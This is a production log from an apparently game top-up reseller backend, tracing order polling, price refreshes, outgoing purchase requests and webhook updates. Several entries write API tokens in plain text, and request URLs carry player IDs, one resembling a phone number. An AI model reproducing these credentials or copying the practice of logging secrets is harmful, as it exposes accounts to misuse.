[2026-03-24 02:18:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:18:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:18:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:18:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:18:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:18:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:18:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:19:52] production.INFO: Constructing job for order: 178516  
[2026-03-24 02:19:54] production.INFO: Handling job for order: 178516  
[2026-03-24 02:19:54] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 02:19:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 02:19:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=d399ecc5-ed2a-42a7-80ec-f607ffb3005d&Player_ID=0942547559  
[2026-03-24 02:19:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=d399ecc5-ed2a-42a7-80ec-f607ffb3005d&Player_ID=0942547559","has_body":false} 
[2026-03-24 02:19:56] production.INFO: Operation sent successfully {"operation_id":163448,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-trdMfN-1774307995","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 02:19:56"}},"processed_data":{"order_number":"ORD-trdMfN-1774307995","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 02:20:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02"} 
[2026-03-24 02:20:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","total_operations":5,"sites_count":2} 
[2026-03-24 02:20:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:20:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:20:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:20:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:20:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:20:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-trdMfN-1774307995"]} 
[2026-03-24 02:20:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:20:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 02:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448} 
[2026-03-24 02:20:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 02:20:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"processed":0,"errors":0} 
[2026-03-24 02:20:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"XIy9WqfiM0jdkrB9eDKpkQbhmglBKTOy","execution_time":"2026-03-24 02:20:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448} 
[2026-03-24 02:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:20:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:20:04] production.INFO: async() رجع: true  
[2026-03-24 02:20:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:20:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:20:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:20:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:20:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:20:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:20:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:20:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:20:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:20:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:20:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:22:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02"} 
[2026-03-24 02:22:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","total_operations":5,"sites_count":2} 
[2026-03-24 02:22:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:22:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:22:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:22:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:22:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:22:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-trdMfN-1774307995"]} 
[2026-03-24 02:22:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:22:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 02:22:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 02:22:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 02:22:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"count":1} 
[2026-03-24 02:22:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"count":1} 
[2026-03-24 02:22:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"user_id":237,"notification_type":"order_approved","reference_id":178516} 
[2026-03-24 02:22:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 02:22:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 02:22:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"processed":1,"errors":0} 
[2026-03-24 02:22:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448,"processed":1,"errors":0} 
[2026-03-24 02:22:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"AKWbbT7hBvJt3kACgsMYlV0tSyudWIdQ","execution_time":"2026-03-24 02:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-trdMfN-1774307995","operation_id":163448} 
[2026-03-24 02:22:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 02:24:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03"} 
[2026-03-24 02:24:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","total_operations":4,"sites_count":1} 
[2026-03-24 02:24:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:24:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:24:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:24:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:24:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:24:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:24:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:24:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:24:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:24:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"3qf7kQrbpr3kJ3ZMhUQ0pNctVM490Dfo","execution_time":"2026-03-24 02:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:25:03] production.INFO: Executing GetProducts task...  
[2026-03-24 02:25:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:25:03] production.INFO: Executing GetProducts task...  
[2026-03-24 02:25:05] production.INFO: async() رجع: true  
[2026-03-24 02:25:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:25:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:25:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:25:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:25:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:25:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:25:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:25:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:25:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:25:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:25:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:25:08] production.INFO: Constructing job for order: 178517  
[2026-03-24 02:25:09] production.INFO: Handling job for order: 178517  
[2026-03-24 02:25:09] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 02:25:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 02:25:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d63afe37-d9df-4364-adf6-c0172984aca2&Player_ID=52447918543  
[2026-03-24 02:25:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d63afe37-d9df-4364-adf6-c0172984aca2&Player_ID=52447918543","has_body":false} 
[2026-03-24 02:25:10] production.INFO: Operation sent successfully {"operation_id":163449,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NQdML-1774308310","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 02:25:10"}},"processed_data":{"order_number":"ORD-NQdML-1774308310","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 02:25:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-NQdML-1774308310","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 02:25:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-NQdML-1774308310","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 02:25:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 02:25:18] production.INFO: SendAcceptReject: Notification queued {"user_id":675,"notification_type":"order_approved","reference_id":178517} 
[2026-03-24 02:25:18] production.INFO: Order updated successfully. Order ID: 178517, Status: completed  
[2026-03-24 02:25:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-NQdML-1774308310","status":"completed","codes_count":0} 
[2026-03-24 02:25:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 675  
[2026-03-24 02:26:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01"} 
[2026-03-24 02:26:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","total_operations":4,"sites_count":1} 
[2026-03-24 02:26:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:26:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:26:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:26:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WjEZg8cyWeQ2BYURax7FxGp5RyhMgOoI","execution_time":"2026-03-24 02:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
